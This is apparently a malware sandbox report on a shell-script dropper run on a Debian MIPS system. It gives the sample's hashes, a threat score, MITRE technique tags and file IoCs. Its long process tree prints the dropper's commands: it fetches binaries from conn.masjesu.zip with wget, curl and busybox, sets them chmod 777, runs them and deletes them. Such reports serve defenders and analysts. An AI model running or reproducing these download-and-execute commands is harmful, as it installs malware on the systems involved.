a57f78048480b2ed7ff7a37451d4897e1074ba581702c0f3bb7091f5bd36e18d

Analysis

max time kernel
111s
max time network
113s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a57f78048480b2ed7ff7a37451d4897e1074ba581702c0f3bb7091f5bd36e18d.sh
Size 10KB
Sample241120-dpbnfayhlb
SHA256 a57f78048480b2ed7ff7a37451d4897e1074ba581702c0f3bb7091f5bd36e18d
MD5 d04aef248591605fcb07881eb34a7ee8
SHA1 00db4a6a28c09e0d2258ce80f1d24a98f2305554
SHA512 4517b801ca44fad07da608b7f0390d83677797ae5dd9f5018d0170ee387444cba428e39232bf3a88e18cd27eca179f4da8ad546dfcef77ab043128ad5b29636d
SSDEEP 192:OXf8tx3xpziqlAsJNyEbW8oXf8txFLiqlAsXH:OXf8tx3xp/csWjXf8txFx
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
956	chmod
1012	chmod
835	chmod
907	chmod
921	chmod
858	chmod
914	chmod
963	chmod
893	chmod
991	chmod
804	chmod
970	chmod
865	chmod
886	chmod
942	chmod
814	chmod
928	chmod
984	chmod
977	chmod
872	chmod
935	chmod
949	chmod
998	chmod
750	chmod
780	chmod
879	chmod
900	chmod
1005	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
878	busybox
960	curl
1001	wget
1004	busybox
948	busybox
953	curl
831	busybox
857	busybox
875	wget
876	curl
925	curl
755	wget
862	curl
911	curl
995	curl
1002	curl
869	curl
889	wget
981	curl
808	curl
946	curl
987	wget
966	wget
967	curl
997	busybox
864	busybox
897	curl
917	wget
939	curl
941	busybox
742	curl
955	busybox
962	busybox
952	wget
969	busybox
1008	wget
763	curl
818	curl
849	curl
892	busybox
899	busybox
885	busybox
896	wget
973	wget
980	wget
990	busybox
945	wget
744	busybox
817	wget
904	curl
913	busybox
931	wget
976	busybox
1011	busybox
787	wget
871	busybox
882	wget
920	busybox
938	wget
918	curl
934	busybox
983	busybox
718	wget
861	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu	curl
File opened for modification	/tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z	curl
File opened for modification	/tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO	curl
File opened for modification	/tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z	curl
File opened for modification	/tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf	curl
File opened for modification	/tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1	curl
File opened for modification	/tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN	curl
File opened for modification	/tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r	curl
File opened for modification	/tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1	curl
File opened for modification	/tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN	curl
File opened for modification	/tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7	curl
File opened for modification	/tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat	curl
File opened for modification	/tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV	curl
File opened for modification	/tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj	curl
File opened for modification	/tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV	curl
File opened for modification	/tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ	curl
File opened for modification	/tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf	curl
File opened for modification	/tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj	curl
File opened for modification	/tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat	curl
File opened for modification	/tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp	curl
File opened for modification	/tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu	curl
File opened for modification	/tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7	curl
File opened for modification	/tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO	curl
File opened for modification	/tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z	curl
File opened for modification	/tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp	curl
File opened for modification	/tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z	curl
File opened for modification	/tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ	curl
File opened for modification	/tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r	curl

/tmp/a57f78048480b2ed7ff7a37451d4897e1074ba581702c0f3bb7091f5bd36e18d.sh
/tmp/a57f78048480b2ed7ff7a37451d4897e1074ba581702c0f3bb7091f5bd36e18d.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod 777 lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  ./lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  PID:775
- /bin/chmod
  chmod 777 AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  ./AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - System Network Configuration Discovery
  PID:787
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  PID:803
- /bin/chmod
  chmod 777 KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  ./KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  PID:806
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  PID:813
- /bin/chmod
  chmod 777 MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  ./MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - System Network Configuration Discovery
  PID:817
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - System Network Configuration Discovery
  PID:831
- /bin/chmod
  chmod 777 DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  ./DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - System Network Configuration Discovery
  PID:857
- /bin/chmod
  chmod 777 gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  ./gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - System Network Configuration Discovery
  PID:864
- /bin/chmod
  chmod 777 Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  ./Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  PID:867
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  ./lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  ./iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  ./iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  ./oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  ./gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  PID:906
- /bin/chmod
  chmod 777 h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  ./h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  ./gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  ./oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  PID:927
- /bin/chmod
  chmod 777 gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  ./gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  ./h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  ./gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  ./lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  ./AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  ./KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - File and Directory Permissions Modification
  PID:970
